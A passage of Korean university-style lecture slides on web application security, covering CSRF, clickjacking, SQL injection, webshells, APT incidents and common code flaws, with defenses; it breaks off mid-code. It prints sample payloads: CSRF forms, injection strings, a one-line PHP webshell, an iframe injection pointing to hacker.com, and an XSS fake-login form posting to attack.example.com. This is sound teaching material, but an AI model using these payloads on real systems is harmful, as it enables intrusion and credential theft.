인증된 세션을 가진 응용을 공격 물건 구입, 회원 탈퇴, 게시판 글 등록/삭제, 패스워드/이메일 주소 변경

63

웹 서버피해자공격자 웹 사이트1: 로그인 인증

2. 악성코드를 준비. 피해자 유도

3. 사이트 접속

4: 악성 POST 요청암호 변경, 회원 탈퇴, 글 등록/삭제, 물건 구입 및 배송지 변경 등피해자 세션 ID를 가지고 POST

<body onload=“document.forms[0].submit()”> <form action=“http://example.jp/changepassword.php” method = “POST”> <input type=“hidden” name=“pwd” value=“cracked”>

</body>

암호를 cracked로 변경

Page 64: Web App Security 2015.10

CSRF vs. XSS 사이트 간 스크립팅(XSS) 공격은 사용자의 특정 웹사이트에 대한 신용을 노림 특정 게시판, SNS 사용자 세션 정보로 다양한 악성 스크립트를 실행 사이트간 요청 위조는 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것 인증이 필요한 특정 서버 제공 기능을 공격 (암호 변경 등)

64

Page 65: Web App Security 2015.10

CLICK JACKING 공격

Click + Hijacking 어떤 웹 페이지를 클릭하지만 실제로는 다른 어떤 페이지의 컨텐츠를 클릭 시각적 사기. 정상적인 버튼 밑에 해킹 기능을 넣은 보이지 않는 버튼을 배치 페이지는 다른 페이지를 프레임 내에 임베드할 수 있음 악의적 페이지는 시각 요소를 Overlay 하여 사용자를 속임 프레임 상의 클릭이 Cached Credentials (쿠키) 정보를 가지고 내포된 앱으로 전달될 수 있음

XSS, CSRF 등 SOP를 우회하여 동일 사이트로 임베드될 수 있음 페이스 북 게시글, 동영상에 클릭하면, 동일 사이트에 다른 동작을 실행

65

Page 66: Web App Security 2015.10

공격

시나리오 1 피해자가 웹사이트에 로그인하여 정상적인 쿠키를 발급받는다 공격자는 다음과 같은 링크를 이메일이나 게시판 등의 경로를 통해 피해자에게 전달

http://www.geocities.com/attacker 공격용 HTML 페이지 내에 다음 이미지태그 포함

<img src= “https://travel.service.com/travel_update?.src=Korea&.dst=Hell”> 클릭시 출발지와 도착지를 변조 가능 (이미 travel.service.com에 로그인된 상태에서) 이용자가 페이지 열면, 브라우저는 이미지 파일을 받아오기 위해 공격용 URL을 연다 등록 과정이 쿠키를 통한 본인확인 밖에 하지 않아 공격자가 정상적인 이용자의 수정이 가능

66

Page 67: Web App Security 2015.10

시나리오 2 피해자가 다음 상태 변경 요청이 가능 (보안 없이)

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 공격자는 다음 링크를 클릭하도록 유도 (피해자 계좌에서 공격자 계좌로 이체하는 요청)

<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> 이미지 요청 혹은 공격자 제어하에 있는 여러 Site에 저장된 iframe 상에 포함될 수 있음. 피해자가 example.com에 인증된 상태로 공격자 사이트 방문 시, 날조된 요청은 자동으로 사용자의 세션 정보를 포함. 공격자의 요청을 수용

67

Page 68: Web App Security 2015.10

CSRF(Cross-site request forgery) 취약점을 통한 공유기의 DNS 주소 변경 피싱 사이트나 파밍 사이트로 유도 금융감독원에 따르면 공유기의 DNS 주소 변조 공격으로 1천691명의 이름과 주민등록번호, 휴대폰번호, 거래은행명, 계좌번호, 계좌비밀번호, 보안카드 번호 등이 유출

68

특정 공유기의 DNS 설정 절차를 해킹

공유기 Access Point피해자공격자 웹 사이트

1: 별도 인증 없이 접속

4: 악성 POST 요청공유기의 DNS 변조 (DNS 설정페이지에 접속)

(정상적인 주소를 입력하더라도 악성 사이트로 이동)

2. 악성코드를 준비. 피해자 유도

3. 사이트 접속

파밍 사이트5: 정상사이트가 아닌 파밍 사이트로 접속

파밍, Pharming: 가짜 사이트로 유도하여 개인 정보 입력을 유도. 웹 브라우저에서 정확한 웹 페이지 주소를 입력해도 가짜 웹 페이지에 접속하게 하여 개인정보를 훔치는 것. redirect a website's traffic to another, fake site. farming + phishing

Page 69: Web App Security 2015.10

방어

CSRF 대책이 필요한 페이지 파악하고, 사용자가 의도한 요청인 지 확인 사용자가 화면 상의 실행 버튼을 눌러 요청한 것인가? 중요 페이지에 대해 별도의 CSRF Token을 포함하도록 함

Unpredicable 토큰을 포함시켜야 함 (사용자 세션 별로 유일) Hidden field에 토큰 포함시켜 Post하면, 공격자가 자동 처리 안되도록, 재인증 혹은 CAPTCHA와 같은 CSRF 방지를 위한 확인 요청 중요 처리 실행 후에, 메일로 사용자 통지

방어보다는 CSRF 공격을 받았을 때 사용자가 이를 확인

취약점 체크 모든 링크와 폼이 Unpredictable CSRF 토큰을 누락하는 지 체크 사용자가 요청을 submit 하고자 했음을 증명

Re-authentication 또는 다른 증명 방법을 통해 (e.g. CAPTCHA) 링크와 폼 상에 상태 변경 함수 호출을 가진 페이지를 파악 다단계 Transactions을 체크. 스텝 별로 상태를 변경하고 유지하기 때문.

69

Page 70: Web App Security 2015.10

SQL INJECTION

Page 71: Web App Security 2015.10

SQL INJECTION HALL OF SHAME

71http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/

SQL Injection은 간단한 취약점 공격임에도 불구하고 아직까지 많은 사고 기록을 가지고 있다

주로, 이메일, 암호를 포함한 사용자 데이터 누출

Page 72: Web App Security 2015.10

Sony 2011, SonyPictures.com “최근에 SonyPictures.com을 해킹했고 백만명 이상의 개인 정보를 얻었다. 암호, 이메일, 집 주소, 생일 및 계정 관련 정보를 가지고 있다. 또한, 7만 5천 개 뮤직 코드 및 350만 뮤직 쿠폰에 대한 관리자 계정을 가지고 있다.” “하나의 인젝션으로 이 모든 것을 탈취할 수 있었다. 더우기, 우리가 가진 모든 정보는 암호화되지 않았다. 백만 명의 고객 암호가 단순 텍스트로 되어 있었다.” Sony에서는 아무 일 없다고 발표했으나, BoingBoing이라는 웹 매거진에서 The Pirate Bay에서 수백만 장의 뮤직 쿠폰이 올라와 있음을 기사화함

72

New Sony Hack Claims Over a Million User Passwords http://techland.time.com/2011/06/02/new-sony-hack-claims-one-million-user-passwords/

Page 73: Web App Security 2015.10

73

Page 74: Web App Security 2015.10

Sony 2014, SonyPictures.com 김정은 암살을 그린 코미디 영화 “디 인터뷰”를 비난한 북한 해커라고 추정. 전직 IT 인원의 소행이라고도 함 최신 개봉작, 미개봉 영화 등이 온라인으로 불법 유출되었고 회사의 마케팅/회계 자료, 직원들의 비밀번호/사회보장번호, 감독과 주연 배우의 출연료, 영화 제작비 등 내부 기밀 문서들이 익명 게시판이나 파일 공유 사이트에 유포함

74

Page 75: Web App Security 2015.10

Archos, 2014 2014년 크리스마스에 프랑스 스마트폰 제조업체 Archos가 SQL Injection 공격을 받아 10만 명 이상의 고객 정보가 누출됨. 다행히, 암호와 신용카드 정보는 훔치지 못했음 Focus라는 해킹 그룹이 트위터에 자신이 archos.com의 고객 정보 5만 건을 웹 사이트에 게시했다고 발표. 고객 이름과 이메일 주소. 전문가 검토에 의하면 다음 취약점을 가짐

No HTTPS on the log-in, password stored insecurely, password sent via email etc

75

Up to 100K Archos customers compromised by SQL injection attack http://www.scmagazineuk.com/up-to-100k-archos-customers-compromised-by-sql-injection-attack/article/395642/

Page 76: Web App Security 2015.10

Wordpress, 2014.9 가장 대중적인 블로깅 플랫폼. 백만 이상의 웹 사이트가 워드 프레스 기반. PHP로 개발됨 보안연구자가 취약점을 찾음

WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability SQL 문에 대한 Escaping이 완전하지 않음 (esc_sql) 40만 다운로드된 플러그인이나, 침해 사고는 없었음 (v 3.8.2)

76

$orderby = !empty($orderby) ? esc_sql($orderby) : 'id'; $order = !empty($order) ? esc_sql($order) : 'DESC'; ... $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR %2897%29,CHAR%28114%29%29%29%29

http://meyerweb.com/eric/tools/dencoder/ http://www.unit-conversion.info/texttools/ascii/

\\.attacker.com\foobar

Page 77: Web App Security 2015.10

SQL, STRUCTURED QUERY LANGUAGE

데이터베이스 질의 (Query) 언어 CRUD, Create, Read, Update, Delete 조건에 맞는 레코드 가져오기 (Fetch)

SELECT * FROM Person WHERE Username=‘honggd’ 테이블에 레코드 추가하기 (Add)

INSERT INTO Key (Username, Key) VALUES (‘honggd’, 3611BBFF) 레코드 값 변경하기 (Modify)

UPDATE Keys SET Key=FA33452D WHERE PersonID=5

DDL & DML 데이터 정의 언어 - CREATE TABLE, DROP TABLE 데이터 조작 언어

77

Page 78: Web App Security 2015.10

78

<?php //execute the SQL query and return records $result = mysql_query("SELECT id, model, year FROM cars"); //fetch the data from the database while ($row = mysql_fetch_array($result)) { echo "ID:".$row{'id'}." Name:".$row{'model'}." ".$row{'year'}."<br>"; }

?>

Page 79: Web App Security 2015.10

79

<?php .. $id = @$_POST[‘id’]; $pwd = @$_POST[‘pwd’];

$con=mysql_connect(‘localhost’, ‘mysqluser’, ‘mysqlpwd’); … $sql = “SELECT * FROM users WHERE USER_NAME=‘$id’ AND PASSWORD=‘$pwd’”; $result = mysql_query($con, $sql);

?>

<html> <body>

<?php if (mysql_num_rows($result) > 0 ) { echo ‘성공’; } else { echo ‘실패’; }

?> </body>

</html>USER_NAME PASSWORD EMAIL ADDRESShonggd webtext honggd@…John helloAdam qwertyDaniel dthompson

Page 80: Web App Security 2015.10

SQL INJECTION

단순 텍스트 기반 공격 서버에서 명령을 처리하는 문법을 인지해서 취약점을 공격 Injection: 잘못된 명령 텍스트를 받아서 Interpreter에 전달하여 실행

데이터로 처리되어야 하는 텍스트를 코드로 인터프리터에 입력으로 줌 Interpreter: 문자열을 받아 명령으로 실행. SQL, OS Shell 등 악의적 코드 실행으로 데이터베이스 정보 전체가 누출/변경될 수 있음

80

Page 81: Web App Security 2015.10

SQL 문의 조작 공격자가 FORM에 데이터가 아닌 조작된 SQL 문을 입력 응용이 SQL 질의를 데이터베이스에 요청하여 공격자가 원하는 데이터베이스 정보를 노출 상품 정보를 선택할 때 SQL 문이 자주 사용될 가능성이 있음

http://www.flowershop.com/store/itemdetail.asp?id=896 id=896은 SQL 문의 WHERE 절에 사용 SELECT name, picture, desc, price FROM products WHERE id=896

81

Page 82: Web App Security 2015.10

아직도 자주 발견됨. 특히 오래된 코드에서 코드 리뷰를 통해 쉽게 찾을 수 있으나, 테스팅으로는 찾기 어려움 데이터 loss/corruption, lack of accountability, or denial of access (Host takeover)

82

Page 83: Web App Security 2015.10

공격

SQL 문 사용 POST된 웹 페이지의 FORM을 통해 ID, Password를 받아, 데이터베이스에질의를 수행 서버에서는 SQL 질의문을 구성하여 DB에서 결과를 얻음

83

데이터베이스 서버 ID: ____________ PASSWORD: ____________ 웹 서버

“SELECT * FROM USERS WHERE USER_NAME=‘“ + userName + “‘ AND PASSWORD=‘“ + password + ‘“

POST

Page 84: Web App Security 2015.10

입력 정보에 SQL 질의문을 변조함 암호에 aaa’ OR ‘1’ = ‘1 => WHERE 절을 항상 참으로 만듬 ID에 cracker’ - - 를 입력 => SQL 문에서는 - - 가 Comment 역할을 함

“SELECT * FROM USERS WHERE USER_NAME=‘cracker’- - AND …. 세미콜론으로 질의문 확장

84“SELECT * FROM USERS WHERE USER_NAME=‘cracker’ AND PASSWORD=‘aaa’ OR ‘1’=‘1’”

데이터베이스 서버 ID: cracker PASSWORD: 웹 서버

로그인

“SELECT * FROM USERS WHERE USER_NAME=‘“ + userName + “‘ AND PASSWORD=‘“ + password + ‘“

POST 악성 쿼리 실행

중요정보 누출

aaa' OR ‘1’=‘1

aaa’ OR ‘1’ = ‘1

Page 85: Web App Security 2015.10

;을 사용한 멀티 SQL 문 구성 추가 질의를 통해 레코드 추가/삭제 테이블 생성/삭제가 가능

’; UPDATE USERS SET [email protected] WHERE [email protected]

85

‘; INSERT INTO users (USER_NAME, PASSWORD) VALUES(‘cracker, ‘aaa’) -- ‘

데이터베이스 서버 ID: cracker PASSWORD: aaa' OR ‘1’=‘1 웹 서버

로그인

“SELECT * FROM USERS WHERE USER_NAME=‘“ + userName + “‘ AND PASSWORD=‘“ + password + ‘“

POST 악성 쿼리 실행

중요정보 누출

“SELECT * FROM USERS WHERE USER_NAME=‘cracker’ AND PASSWORD=‘ ‘“

‘; INSERT INTO users (USER_NAME, PASSWORD) VALUES(‘cracker, ‘aaa’) -- ‘

Page 86: Web App Security 2015.10

Database의 첫번째 계정으로 로그인 관리자 계정일 가능성이 높음 %는 wildcard로 LIKE % 하면 어떤 문자열이든 지 match됨

86

데이터베이스 서버 ID: cracker PASSWORD: aaa' OR ‘1’=‘1 웹 서버

로그인

“SELECT * FROM USERS WHERE USER_NAME=‘“ + userName + “‘ AND PASSWORD=‘“ + password + ‘“

POST 악성 쿼리 실행

중요정보 누출

’ OR PASSWORD LIKE `%

SELECT * FROM USERS WHERE USER_NAME=‘’ OR PASSWORD LIKE `%’ AND PASSWORD=‘’ OR PASSWORD LIKE `%’

Page 87: Web App Security 2015.10

다른 테이블의 정보를 읽어옴 UNION은 두 질의문의 결과를 Union (합집합)으로 만듬

87

데이터베이스 서버 ID: cracker PASSWORD: aaa' OR ‘1’=‘1 웹 서버

로그인

“SELECT * FROM USERS WHERE USER_NAME=‘“ + userName + “‘ AND PASSWORD=‘“ + password + ‘“

POST 악성 쿼리 실행

중요정보 누출

’ AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM CREDITCARDS

SELECT * FROM USERS WHERE USER_NAME=‘cracker‘ AND PASSWORD=‘’ AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM CREDITCARDS’

Page 88: Web App Security 2015.10

URL 인자를 통한 SQL Injection http://example.com/show.php?bugid=1234 http://example.com/changepass.php?accid=1234&pass=xyzzy

88

SELECT * FROM BUGS WHERE bug_id = 1234 OR TRUE

http://example.com/show.php?bugid=1234 OR TRUE

UPDATE Accounts SET password = SHA2(‘xyzzy’),admin=(‘1’) WHERE account_id = 1234 OR TRUE

http://example.com/changepass.php?accid=1234 OR TRUE & pass=xyzzy’),admin=(‘l

모든 계정의 암호를 xyzzy로 바꾸고, 관리자 권한으로 변경

Page 89: Web App Security 2015.10

방어

신뢰되지 않은 데이터와 명령/질의문을 분리해야 함 (입력값 확인 POST 되는 입력값에 대해 ‘ 사용을 금지시킴. 서버에서 확인하고 SQL 문로 사용되지 않도록 \’ 와 같은 형태로 변경 (Escaping 입력을 인자화

SQL 문이 변조되지 않도록 함 데이터베이스의 구조 (Schema)가 외부에 노출되지 않도록 함 데이터베이스에 저장되는 데이터는 암호화

89

<인자화, Placeholder> $stmt = $conn->prepare(“SELECT * FROM users WHERE id=? AND pwd=?”; $stmt->bind_param("ss", $id, $pwd); $stmt->execute();

Page 90: Web App Security 2015.10

따옴표 회피

Escaping Quotes Quote (‘)를 만나면 \ 를 추가 숫자가 놓일 자리에는 숫자형으로 변환

90

http://example.com/changepass.php?accid=1234 OR TRUE&pass=xyzzy’),admin=(‘l

UPDATE Accounts SET password = SHA2(‘xyzzy’),admin=(‘1’) WHERE account_id = 1234 OR TRUE

UPDATE Accounts SET password = SHA2(‘xyzzy\’),admin=(\’1’) WHERE account_id = 1234

Page 91: Web App Security 2015.10

91

<? php

$password = $_POST[“password”]; $password_esacped = mysql_real_escape_string($password);

$id = (int) $_POST[“account”];

$sql = “UPDATE Accounts SET password = SHA2(‘{$password_escaped}’) WHERE account_id = {$id}”;

mysql_query($sql);

mysql_real_escape_string 함수는 \x00, \n, \r, \, ', ", \x1a 앞에 \를 추가

Page 92: Web App Security 2015.10

인자화

Prepare & Execute PHP 코드에서, SELECT * FROM BugsWHERE bug_id = $_GET[‘bugid’]

bugid=1234 AND TRUE 질의문 구성 시 인자 사용(Placeholder)SELECT * FROM BugsWHERE bug_id = ?

92

1234

PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executeQuery();

Page 93: Web App Security 2015.10

93

<? php … $password = $_POST[“password”]; $password_esacped = mysql_real_escape_string($password);

$id = (int) $_POST[“account”];

$sql = $conn->prepare(“UPDATE Accounts SET password = ? WHERE account_id =?”); $sql->bind_param(‘sd’, SHA2($password_escaped),$id)

$sql->execute();

Page 94: Web App Security 2015.10

94Bill Karwin, www.slideshare.net/billkarwin

SELECT * FROM BugsWHERE bug_id = $_GET[‘bugid’]

SELECT * FROM BugsWHERE bug_id = ?

Page 95: Web App Security 2015.10

95

$sql = $conn->prepare(“UPDATE Accounts SET password = ? WHERE account_id =?”); $sql->bind_param(‘sd’, SHA2($password_escaped),$id) $sql->execute();

Parse 트리를 구성하고 입력을 대입

Page 96: Web App Security 2015.10

MALWARES

Page 97: Web App Security 2015.10

WEBSHELL

공격자가 원격으로 웹서버를 통제할 수 있도록 만들어진 프로그램 웹 스크립트(asp, jsp, php, cgi) 파일 2008년 옥션 개인정보유출 사고로 알려짐 현대캐피탈(2011년), EBS(2012년), 3.20 전산망해킹(2013년) 등의 사고 스크립트 파일 업로드 제한, 파일 실행 권한 통제, SQL Injection 취약점 개선

97

Page 98: Web App Security 2015.10

공격 웹 게시판, 자료실에는 사진이나 문서를 올리는 `파일 첨부' 기능을 활용

txt, jpg, doc와 같은 데이터 파일종류 외에 악의적으로 제작된 스크립트 파일인 `웹쉘(Web-Shell)'을 업로드 파일 업로드를 해야할 이유가 없는 게시판의 경우는 업로드의 기능을 완전히 제거하고 필요한 경우에는 파일의 확장자를 체크 웹쉘 업로드를 제한하는 asp, cgi, php, jsp 등의 확장자를 막는 방법으로 구현하기보다는 허용하는 확장자 즉 txt, hwp, doc, pdf, gif 등의 업로드 가능한 파일 확장자만 올릴 수 있도록 체크하는 것이 바람직 (Whitelist)

98

Page 99: Web App Security 2015.10

웹 셀 파일 조작

99

Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.GetFolder(folderpath)Set fp = f.FilesFor Each f1 in fp

s = s & f1.name Next

Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True) MyFile.Write Contents

fso.CopyFile Path1, Path2 fso.CopyFolder Path1, Path2 fso.DeleteFile Path fso.DeleteFolder Path

Page 100: Web App Security 2015.10

정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.

100

Set regEx=New RegExp regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b” regEx.IgnoreCase=True retVal=regEx.Test(path)

Set fs=Server.createObject(“Scripting.FileSystemObject”)Set f=fs.GetFile(path)Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다 f_addcode.Write “<iframe src=http://hacker.com/m.htm width=0 height=0></iframe>”f_addcode.Close

위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.

Page 101: Web App Security 2015.10

APT, ADVANCED PERSISTENT THREATS

농협, 2011 외부 공격으로 인해 농협의 전산망 시스템이 손상되어 모든 업무가 마비됨 내부 서버 587대 중 273대가 디스크 손상. 재해복구용 서버도 파괴. 2주간 정상영업 불가. 최소 80억원 이상의 피해 외주 직원의 노트북 PC를 감염시킨 후 내부 시스템으로 침입 모 웹하드 사이트의 업데이트 프로그램으로 위장된 악성코드 유포 관리자 계정의 노트북에 P2P 프로그램으로 악성코드를 유포. 7개월 동안 꾸준히 감시하면서 공격 시점을 기다림 문제 웹하드 사이트는 7.7 DDoS 대란때도 악성코드 유포지 2010년 7월 이후 관리자 비밀번호가 변경 안됨. 비밀번호도 aaaa, 1111 등 승인없이 노트북 등에서 자유롭게 무선인터넷 사용 및 자료의 외부 반출 보안프로그램이 설치되지 않은 채 자유롭게 내외부망 접근이 가능

101

Page 102: Web App Security 2015.10

나이트 드래곤 보안 위협, 2011 2011년 2월 미국 월스트리는 저널 기사 ‘Oil Firms Hit by Hackers From China, Report Says’에서 글로벌 에너지 업체들을 대상으로 한 악성코드를 이용한 보안 위협이 발생했다고 공개 최소 1년 이상 카자흐스탄, 그리스, 대만과 미국에 위치한 글로벌 오일, 가스 및 석유 화학 제품 업체들을 대상으로 조직적인 보안 위협이 진행 보안 업체 맥아피(McAfee)가 발견. 나이트 드래곤(Night Dragon)으로 명명

102

Page 103: Web App Security 2015.10

1. 인터넷에 연결된 취약한 웹 서버들을 대상으로 SQL 인젝션(Injection) 공격으로 해킹 후 C&C(Command and Control) 서버 설치 및 악성코드 업로드2. 공격 대상 기업들의 임직원들을 대상으로 타깃 공격(Targeted Spear-phishing Attack)을 수행하여 해킹한 웹 서버에서 악성코드를 다운로드 후 감염. 악성코드에 감염된 공격 대상 기업 임직원들의 노트북 또는 시스템들을 이용해 기업 내부 네트워크로 접속 시도

3. 접속한 기업 내부 네트워크에서 다양한 해킹 툴들을 이용해 기업 내부 다른 중요 시스템들의 사용자 계정 및 비밀번호 획득 4. 해킹된 기업 내부 시스템들의 인터넷 익스플로러(Internet Explorer) 프록시(Proxy) 설정 옵션을 해제하여 C&C 서버와 직접 통신5. 기업 내부 네트워크 및 중요 시스템에 존재하는 내부 기밀 문건 및 관련 정보 탈취

103http://www.mcafee.com/in/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf

Page 104: Web App Security 2015.10

이란 원자력 발전소 사고, 2010 스턱스넷(Stuxnet) 공격

MS 윈도의 알려진 취약점 3개와 제로데이 취약점 2개를 악용하여 악성코드를 유포. 산업시설을 감시하고 파괴하는 악성 소프트웨어로는 최초. 지멘스의 SCADA 시스템만을 감염시켜 장비를 제어하고 감시하는 특수한 코드를 내부에 담고 있다 웜의 공격목표는 이란의 우라늄 농축 시설인 것으로 추정 스턱스넷에 감염된 전 세계의 컴퓨터 중 60%가 이란 소재 컴퓨터라고 발표 (시만텍). 지멘스는 이 웜이 자사의 고객에게 어떤 피해도 끼치지 않았고 사용 금지된 지멘스 제품을 비밀리에 사용중인 이란 핵시설만 피해를 입었다고 발표 이스라엘과 미국이 참여한 것으로 추정 최초 감염은 USB 플래시 드라이브를 통해 이루어졌고, 이후에는 윈도 컴퓨터간의 원격 프로시저 호출 등의 프로토콜을 통해 인터넷에 노출되지 않은 폐쇄망으로 연결된 컴퓨터에 감염

104

Page 105: Web App Security 2015.10

105

악성코드 웜은 USB 메모리를 통해 외부에서 가져옴

바이러스는 덴마크와 말레이시아에 소재한 서버에서 유포됨 전세계적으로 10만 대 이상의 컴퓨터를 감염시킴

스턱스넷은 시스템에 퍼져서 Siemens 제어 소프트웨어를 찾음 특히, 원심분리기의 회전속도를 조절하는 SW

웜은 원심분리기 회전속도를 조절해서 원심분리기를 파괴하고 우라늄 농축을 방해

2009년 6월에 가동되었고, 작동불능 원심 분리기 숫자를 현저히 감소시킴

Page 106: Web App Security 2015.10

WEB APP VULNERABILITIES

Page 107: Web App Security 2015.10

주요 소프트웨어 취약점2011 CWE/SANS Top 25 Most Dangerous Software Errors 가장 널리 퍼져있고, 가장 위험한 소프트웨어 취약점 리스트

https://cwe.mitre.org/top25/index.html#CWE-78 CWE - Common Weakness Enumeration SANS 연구소: 정보 보안 교육 전문 기관, https://www.sans.org/ , SysAdmin, Audit, Network and Security MITRE: 미국 R&D 연구조직 (과학 연구 및 분석, 시스템 엔지니어링)

2013 the OWASP Top 10 안전한 웹 및 응용 애플리케이션을 개발 지원을 목적으로 한 비영리 단체. 소스 애플리케이션 보안 프로젝트

Open Web Application Security Project https://www.owasp.org/index.php/Top_10_2013-Top_10 https://www.owasp.org/images/2/2c/OWASP_Top_10_-_2013_Final_-_Korean.pdf

107

Page 108: Web App Security 2015.10

파일 업로드공격자가 위험한 실행 타입의 파일을 업로드할 수 있다.

108https://cwe.mitre.org/data/definitions/434.html

문제는 업로드된 파일의 타입에 대한 체크가 없다는 것

<form action="upload_picture.php" method="post" enctype="multipart/form-data"> Choose a file to upload: <input type="file" name=“filename"/> <br/> <input type="submit" name="submit" value="Submit"/>

</form>

웹 서버에 그림을 업로드 하는 페이지. file 타입의 입력 필드에 업로드할 파일 이름을 입력.

// 업로드되는 그림이 저장될 위치를 정의 $target = "pictures/" . basename($_FILES['uploadedfile']['name']); // 업로드된 파일을 이동 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)) {

echo "The picture has been successfully uploaded.”; } else { …

제출 버튼을 누르면, upload_picture.php가 수행됨. PHP는 파일을 임시 디렉터리에 저장하고 서버 코드에서 이 파일을 처리. 파일은 pictures/directory로 이동됨

Page 109: Web App Security 2015.10

109

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

<?php system($_GET['cmd']);

?>

malicious.php

만약에, pictures/ 디렉터리가 웹 문서 루트에서 접근 가능하다면, 공격자는 malicious.php라는 이름을 파일을 업로드 할 수 있음. 확장자가 .php 이므로, 웹서버가 실행 가능

파일이 설치되면, 공격자는 임의의 명령을 수행하여 결과를 확인할 수 있음 ls -l 외에도 cat /etc/passwd 등 여러 명령을 수행 가능

Page 110: Web App Security 2015.10

경로 탐색

110

my $dataPath = "/users/cwe/profiles"; my $username = param("user"); my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath"); print "<ul>\n"; while (<$fh>) {

print "<li>$_</li>\n"; } print "</ul>\n";

/users/cwe/profiles/../../../etc/passwd

다음 코드는 소셜 네트워킹 페이지로 각 사용자의 프로필 정보가 별도 파일로 저장되어 있고, 하나의 디렉터리에 모든 파일이 저장된다

프로그래머는 "/users/cwe/profiles/alice" 또는 “/users/cwe/profiles/bob" 형태로 파일을 사용하려고 하지만, 사용자 인자에 대한 검사가 없다.

../../../etc/passwd

공격자는 다음을 인자로 보내 암호 파일을 탈취할 수 있다

Page 111: Web App Security 2015.10

111

String path = getInputPath(); if (path.startsWith("/safe_dir/")) {

File f = new File(path); f.delete()

}

다음 코드는 입력 경로를 검사 한 후 해당 파일을 지우는 기능이다. 일종의 whitelist로 허용 조건을 체크

/safe_dir/../important.dat

완전하게 검사하지 못한다. .. 의 사용을 금지해야 한다.

Page 112: Web App Security 2015.10

중요 자원에 대한 허용 권한 설정

중요 리소스에 대한 허용권한은 해당 권한을 가진 사람에게만 보여질 수 있어야 함

112

function createUserDir($username){ $path = '/home/'.$username; if(!mkdir($path)){ return false; } if(!chown($path,$username)){

rmdir($path); return false;

} return true;

}

다음은 신규 사용자에 대한 홈 디렉터리를 생성하는 코드이다. 디렉터리의 owner를 사용자로 설정한다. 사용자 계정이 없으면 디렉터리를 삭제한다.

위 코드는 mkdir에 mode 인자가 없으므로, 생성된 디렉터리는 디폴트로 0777 허용모드를 가진다. 즉, 모든 사용자가 읽고, 쓰고, 실행할 수 있다는 의미.

Page 113: Web App Security 2015.10

XSS

113

$username = $_GET['username']; echo '<div class="header"> Welcome, ' . $username . '</div>';

웰컴 메시지를 보여주는 간단한 페이지. Reflected XSS

http://trustedSite.example.com/welcome.php?username=<script>alert("You've been attacked!");</script>

인자 username에 대한 체크를 하지 않으므로 어떤 코드라도 가질 수 있음 다양한 공격 스크립트를 삽입할 수 있음.

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div>

<div class="header"> Welcome, <div id="stealPassword">Please Login: <form name="input" action="attack.example.com/stealPassword.php" method="post">

Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" />

<input type="submit" value="Login" /> </form> </div> </div>

Page 114: Web App Security 2015.10

114

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22 stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input %22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php %22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text %22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A +%3Cinput+type%3D%22password%22+name%3D%22password%22 +%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22 +%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

URL이 trustedSite.exmaple.com 이므로, 사용자는 링크를 클릭하기 쉬움. 예민한 사용자가 인자를 눈치채지 못하도록 난독화를 할 수도 있음

Page 115: Web App Security 2015.10

115

$username = mysql_real_escape_string($username); $fullName = mysql_real_escape_string($fullName); $query = sprintf('Insert Into users (username,password, fullname) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ; mysql_query($query); /.../

Stored XSS. 아래 코드는 SQL Injection을 막기 위해 Escaping을 함 - \x00, \n, \r, \, ', " and \x1a에 / 추가 하지만, 다른 체크 없이 데이터 베이스에 저장 (하지만, 저장된 문자열이 다른 페이지에 보일 수 있음)

$query = 'Select * From users Where loggedIn=true'; $results = mysql_query($query); if (!$results) { exit; }

//Print list of users to page echo '<div id="userlist">Currently Active Users:'; while ($row = mysql_fetch_assoc($results)) {

echo '<div class="userNames">'.$row['fullname'].'</div>'; } echo '</div>';

이름에 임의의 HTML 코드 (Script)를 입력할 수 있고, Active Users 페이지에 접속한 사람들의 브라우저에서 보여질 수 있다. Password 탈취 로그인 페이지를 보여줄 수 있다

Page 116: Web App Security 2015.10

AUTHENTICATION인증 Bypass

116

$auth = $_COOKIES['authenticated']; if (! $auth) {

